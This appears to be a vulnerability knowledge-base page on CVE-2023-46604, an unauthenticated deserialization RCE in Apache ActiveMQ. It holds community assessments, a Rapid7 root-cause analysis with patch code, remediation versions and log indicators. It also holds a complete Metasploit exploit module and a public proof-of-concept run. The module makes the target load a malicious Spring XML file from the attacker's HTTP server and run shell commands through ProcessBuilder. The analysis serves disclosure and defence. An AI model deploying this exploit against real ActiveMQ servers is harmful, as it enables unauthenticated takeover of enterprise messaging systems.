Attacker Value
(4 users assessed)
Very High
(4 users assessed)
User Interaction
Privileges Required
Attack Vector


Disclosure Date: October 27, 2023
Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access


The Java OpenWire protocol marshaller is vulnerable to Remote Code
Execution. This vulnerability may allow a remote attacker with network
access to either a Java-based OpenWire broker or client to run arbitrary
shell commands by manipulating serialized class types in the OpenWire
protocol to cause either the client or the broker (respectively) to
instantiate any class on the classpath.

Users are recommended to upgrade
both brokers and clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3
which fixes this issue.

Add Assessment

  • Attacker Value
  • Exploitability
    Very High
Technical Analysis

Based upon analyzing the public exploit and the root cause of the vulnerability, I have rated the exploitability as very high as this vuln is unauthenticated and is trivial to exploit with the public exploit. The attacker value is high as this service is used in enterprise environments, Shadowserver reports over 3000 vulnerable instances online as of Oct 30, 2023

  • Attacker Value
  • Exploitability
    Very High
Technical Analysis

CISA KEV Listed as of 11/02/2023

Technical Analysis

More about:
Understanding deserialization


# This module requires Metasploit:
# Current source:

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Retry

  def initialize(info = {})
        'Name' => 'Apache ActiveMQ Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits a deserialization vulnerability in the OpenWire transport unmarshaller in Apache
          ActiveMQ. Affected versions include 5.18.0 through to 5.18.2, 5.17.0 through to 5.17.5, 5.16.0 through to
          5.16.6, and all versions before 5.15.16.
        'License' => MSF_LICENSE,
        'Author' => [
          'X1r0z', # Original technical analysis & exploit
          'sfewer-r7', # MSF exploit & Rapid7 analysis
          'nu11secur1ty', # automated EXPLOIT-developer for MetaSploit m0r3:
        'References' => [
          ['CVE', '2023-46604'],
          ['URL', ''],
          ['URL', ''],
          ['URL', ''],
          ['URL', '']
        'DisclosureDate' => '2023-10-27',
        'Privileged' => false,
        'Platform' => %w[win linux unix],
        'Arch' => [ARCH_CMD],
        # The Msf::Exploit::Remote::HttpServer mixin will bring in Exploit::Remote::SocketServer, this will set the
        # Stance to passive, which is unexpected and results in the exploit running as a background job, as RunAsJob will
        # be set to true. To avoid this happening, we explicitly set the Stance to Aggressive.
        'Stance' => Stance::Aggressive,
        'Targets' => [
              'Platform' => 'win'
              'Platform' => 'linux'
              'Platform' => 'unix'
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          # By default ActiveMQ listens for OpenWire requests on TCP port 61616.
          'RPORT' => 61616,
          # The maximum time in seconds to wait for a session.
          'WfsDelay' => 30
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]

  def check

    res = sock.get_once


    return CheckCode::Unknown unless res

    len, _, magic = res.unpack('NCZ*')

    return CheckCode::Unknown unless res.length == len + 4

    return CheckCode::Unknown unless magic == 'ActiveMQ'

    return CheckCode::Detected unless res =~ /ProviderVersion...(\d+\.\d+\.\d+)/

    version =

    ranges = [
      ['5.18.0', '5.18.2'],
      ['5.17.0', '5.17.5'],
      ['5.16.0', '5.16.6'],
      ['0.0.0', '5.15.15']

    ranges.each do |min, max|
      if version.between?(,
        return Exploit::CheckCode::Appears("Apache ActiveMQ #{version}")

    Exploit::CheckCode::Safe("Apache ActiveMQ #{version}")

  def exploit
    # The payload is send in a CDATA section of an XML file. Therefore, the payload cannot contain a CDATA closing tag.
    if payload.encoded.include? ']]>'
      fail_with(Failure::BadConfig, 'The encoded payload data may not contain the CDATA closing tag ]]>')



    # The vulnerability allows us to instantiate an arbitrary class, with a single arbitrary string parameter. To
    # leverage this we can use ClassPathXmlApplicationContext, and pass a URL to an XML configuration file we
    # serve. This XML file allows us to create arbitrary classes, and call arbitrary methods. This is leveraged to
    # run an attacker supplied command line via java.lang.ProcessBuilder.start.
    clazz = ''

    # 31 is the EXCEPTION_RESPONSE data type.
    data = [31].pack('C')
    # ResponseMarshaller.looseUnmarshal reads a 4 byte int for the command id.
    data << [0].pack('N')
    # and a 1 byte boolean for response required.
    data << [0].pack('C')
    # ResponseMarshaller.looseUnmarshal read a 4 byte int for the correlation ID.
    data << [0].pack('N')
    # BaseDataStreamMarshaller.looseUnmarsalThrowable wants a boolean true to continue to unmarshall.
    data << [1].pack('C')
    # BaseDataStreamMarshaller.looseUnmarshalString reads a byte boolean and if true, reads a UTF-8 string.
    data << [1].pack('C')
    # First 2 bytes are the length.
    data << [clazz.length].pack('n')
    # Then the string data. This is the class name to instantiate.
    data << clazz
    # Same again for the method string. This is the single string parameter used during class instantiation.
    data << [1].pack('C')
    data << [get_uri.length].pack('n')
    data << get_uri

    sock.puts([data.length].pack('N') + data)

    retry_until_truthy(timeout: datastore['WfsDelay']) do
      !handler_enabled? || session_created?


  def on_request_uri(cli, request)
    if request.uri != get_resource

    case target['Platform']
    when 'win'
      shell = 'cmd.exe'
      flag = '/c'
    when 'linux', 'unix'
      shell = '/bin/sh'
      flag = '-c'

    xml = %(<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="" xmlns:xsi="" xsi:schemaLocation="">
<bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">

    send_response(cli, xml, {
      'Content-Type' => 'application/xml',
      'Connection' => 'close',
      'Pragma' => 'no-cache'

    print_status('Sent ClassPathXmlApplicationContext configuration file.')




Full unlocked video:
Exploit demo, automated by @nu11secur1ty

BR @nu11secur1ty

CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
Exploitability Score:
Attack Vector (AV):
Attack Complexity (AC):
Privileges Required (PR):
User Interaction (UI):
Scope (S):
Confidentiality (C):
Integrity (I):
Availability (A):

General Information


  • apache


  • activemq,
  • activemq legacy openwire module
Technical Analysis

Update Nov 2, 2023: Added reference to Rapid7 ETR blog in the timeline.


Apache ActiveMQ is a message broker service, designed to act as a communication bridge between disparate services. Developed in Java, it can broker multiple protocol formats, such as AMQP, STOMP, MQTT and OpenWire. CVE-2023-46604 is a remote unauthenticated deserialization vulnerability in the OpenWire transport connector provided by ActiveMQ. By default the OpenWire transport connector listens for TCP connections on port 61616 and is enabled by default. Successful exploitation allows an attacker to execute arbitrary code with the same privileges of the ActiveMQ server.

The timeline of events for CVE-2023-46604 are as follows.

  • October 24, 2023 – The Apache ActiveMQ team opens Jira issue AMQ-9370 to track the development of a patch for CVE-2023-46604.

  • October 24, 2023 – A patch is committed to resolve the issue.

  • October 25, 2023 – A detailed technical analysis is posted by researcher X1r0z.

  • October 27, 2023 – CVE-2023-46604 is published.

  • October 27, 2023 – A proof of concept exploit is published by researcher X1r0z.

  • October 27, 2023 – Rapid7 observed suspected exploitation of CVE-2023-46604 in the wild.

The Shadowserver project has identified 7,249 instances (as of October 30, 2023) of ActiveMQ OpenWire port 61616 listening on the internet, with 3,329 of these vulnerable to CVE-2023-46604.

The Vulnerability

Our analysis is based upon the research by X1r0z, and we targeted a vulnerable version of Active MQ 5.15.3 running on Windows.

By examining the patch we can see a new check OpenWireUtil.validateIsThrowable has been added. This check ensures when creating a new Throwable object instance, the class being instantiated is indeed derived from the Throwable class.

// activemq-client/src/main/java/org/apache/activemq/openwire/
package org.apache.activemq.openwire;

public class OpenWireUtil {

     * Verify that the provided class extends {@link Throwable} and throw an
     * {@link IllegalArgumentException} if it does not.
     * @param clazz
    public static void validateIsThrowable(Class<?> clazz) {
        if (!Throwable.class.isAssignableFrom(clazz)) { // <---
            throw new IllegalArgumentException("Class " + clazz + " is not assignable to Throwable");

We can see how the new check validateIsThrowable is used during BaseDataStreamMarshaller.createThrowable, to ensure a provided className string is for a class that is throwable, before an instance of this class is instantiated with a single string parameter called message.

// activemq-client/src/main/java/org/apache/activemq/openwire/v12/
    private Throwable createThrowable(String className, String message) {
        try {
            Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
            OpenWireUtil.validateIsThrowable(clazz); // <---
            Constructor constructor = clazz.getConstructor(new Class[] {String.class});
            return (Throwable)constructor.newInstance(new Object[] {message});
        } catch (IllegalArgumentException e) {
            return e;
        } catch (Throwable e) {
            return new Throwable(className + ": " + message);

To understand why, prior to the patch, a call to createThrowable leads to a vulnerability, we can see in BaseDataStreamMarshaller.looseUnmarsalThrowable how two string values are unmarshalled into the clazz and message parameters that are passed to createThrowable. If an attacker can control these two values, an arbitrary class can be instantiated with an attacker controlled string parameter.

// \lib\activemq-client-5.15.3.jar!\org\apache\activemq\openwire\v12\BaseDataStreamMarshaller.class
public abstract class BaseDataStreamMarshaller implements DataStreamMarshaller {

    protected Throwable looseUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn) throws IOException {
        if (!dataIn.readBoolean()) {
            return null;
        } else {
            String clazz = this.looseUnmarshalString(dataIn);
            String message = this.looseUnmarshalString(dataIn);
            Throwable o = this.createThrowable(clazz, message); // <---

The method BaseDataStreamMarshaller.looseUnmarsalThrowable is called from ExceptionResponseMarshaller.looseUnmarshal which is responsible for unmarshalling an ExceptionResponse instance.

// \lib\activemq-client-5.15.3.jar!\org\apache\activemq\openwire\v12\ExceptionResponseMarshaller.class

public class ExceptionResponseMarshaller extends ResponseMarshaller {

    public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException {
        super.looseUnmarshal(wireFormat, o, dataIn);
        ExceptionResponse info = (ExceptionResponse)o;
        info.setException(this.looseUnmarsalThrowable(wireFormat, dataIn)); // <---

We can see that looseUnmarshal is called during OpenWireFormat.doUnmarshal. A byte value is read from the incoming data stream, and this byte value determines the DataStreamMarshaller to use during unmarshalling.

public final class OpenWireFormat implements WireFormat {

    public Object doUnmarshal(DataInput dis) throws IOException {
        byte dataType = dis.readByte();
        if (dataType != 0) {
            DataStreamMarshaller dsm = this.dataMarshallers[dataType & 255]; // <---
            if (dsm == null) {
                throw new IOException("Unknown data type: " + dataType);
            } else {
                Object data = dsm.createObject();
                if (this.tightEncodingEnabled) {
                    BooleanStream bs = new BooleanStream();
                    dsm.tightUnmarshal(this, data, dis, bs);
                } else {
                    dsm.looseUnmarshal(this, data, dis); // <---

                return data;
        } else {
            return null;

We can note above there are two paths to unmarshalling, depending on tightEncodingEnabled. The encodings are referred to as either “tight” or “loose”. These are part of the OpenWire specification, and they dictate how encoding is performed. By default, “loose” encoding is used.

By inspecting the class ExceptionResponse we can see that a value of 31 corresponds to the data type for an ExceptionResponse which will be unmarshalled via ExceptionResponseMarshaller.

// \lib\activemq-client-5.15.3.jar!\org\apache\activemq\command\ExceptionResponse.class

package org.apache.activemq.command;

public class ExceptionResponse extends Response {
    public static final byte DATA_STRUCTURE_TYPE = 31; // <---
    Throwable exception;

    public ExceptionResponse() {

    public ExceptionResponse(Throwable e) {

    public byte getDataStructureType() {
        return 31;

    public Throwable getException() {
        return this.exception;

    public void setException(Throwable exception) {
        this.exception = exception;

    public boolean isException() {
        return true;

Therefore, an attacker who can connect to the OpenWire port 61616 can send an OpenWire packet with a data type of 31 (EXCEPTION_RESPONSE), to unmarshall an ExceptionResponse object instance. The attacker can supply both an arbitrary class name and an arbitrary string parameter to the BaseDataStreamMarshaller.createThrowable method during unmarshalling. This allows an arbitrary class to be instantiated with a single attacker controlled string parameter, as shown in the screenshot below.



To leverage the vulnerability and achieve remote code execution, an attacker can instantiate the class ClassPathXmlApplicationContext is part of the Spring framework and is available within ActiveMQ. This class allows configuration of a Spring application via an XML file. The location of this XML configuration file is provided as a single string parameter when creating a new instance of ClassPathXmlApplicationContext.

// \lib\optional\spring-context-4.3.9.RELEASE.jar!\org\springframework\context\support\ClassPathXmlApplicationContext.class

public class ClassPathXmlApplicationContext extends AbstractXmlApplicationContext {

    public ClassPathXmlApplicationContext(String configLocation) throws BeansException { // <---
        this(new String[]{configLocation}, true, (ApplicationContext)null);

The location of an XML configuration file can be a remote URL served over HTTP, and the contents allow for arbitrary classes to be created, and arbitrary methods to be called with arbitrary parameters. For example, the following configuration file, when loaded by ClassPathXmlApplicationContext, will spawn an arbitrary process via java.lang.ProcessBuilder.start.

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="" xmlns:xsi="" xsi:schemaLocation="">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">

By serving a malicious XML configuration file over HTTP, we can run the public exploit against a target as follows, and achieve unauthenticated RCE.

ActiveMQ-RCE-main>ruby -run -e httpd . -p 5555
[2023-11-01 11:38:49] INFO  WEBrick 1.7.0
[2023-11-01 11:38:49] INFO  ruby 3.1.3 (2022-11-24) [x64-mingw-ucrt]
[2023-11-01 11:38:49] INFO  WEBrick::HTTPServer#start: pid=2600 port=5555
[2023-11-01 11:38:49] INFO  To access this server, open this URL in a browser:
[2023-11-01 11:38:49] INFO      http://[::1]:5555
[2023-11-01 11:38:49] INFO - - [01/Nov/2023:11:40:23 GMT Standard Time] "GET /poc.xml HTTP/1.1" 200 458
- -> /poc.xml - - [01/Nov/2023:11:40:23 GMT Standard Time] "GET /poc.xml HTTP/1.1" 200 458
- -> /poc.xml
ActiveMQ-RCE-main>ActiveMQ-RCE.exe -i -u
     _        _   _           __  __  ___        ____   ____ _____
    / \   ___| |_(_)_   _____|  \/  |/ _ \      |  _ \ / ___| ____|
   / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | |   |  _|
  / ___ \ (__| |_| |\ V /  __/ |  | | |_| |_____|  _ <| |___| |___
 /_/   \_\___|\__|_| \_/ \___|_|  |_|\__\_\     |_| \_\\____|_____|

[*] Target:
[*] XML URL:

[*] Sending packet: 000000741f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874010021687474703a2f2f3139322e3136382e38362e33353a353535352f706f632e786d6c

Finally, we can see the arbitrary command we specified in the configuration XML file has been executed on the target system.



As per the vendor advisory, users of Apache ActiveMQ are advised to update to the latest version to successfully remediate this issue. The updated versions are:

  • 5.18.3
  • 5.17.6
  • 5.16.7
  • 5.15.16


By default ActiveMQ does not log every request that is received, however some log information may be present in the log file <ACTIVEMQ_ROOT_FOLDER>\data\activemq.log. We observed that the public PoC left a single log entry in this file after successful exploitation:

2023-11-01 04:40:23,587 | WARN  | Transport Connection to: tcp:// failed: An established connection was aborted by the software in your host machine | | ActiveMQ Transport: tcp:///

Of note is the attacker’s IP address is logged ( in the example above) along with the target TCP port which is listening for OpenWire connections (61616 in the example above, which is the default OpenWire port number in ActiveMQ).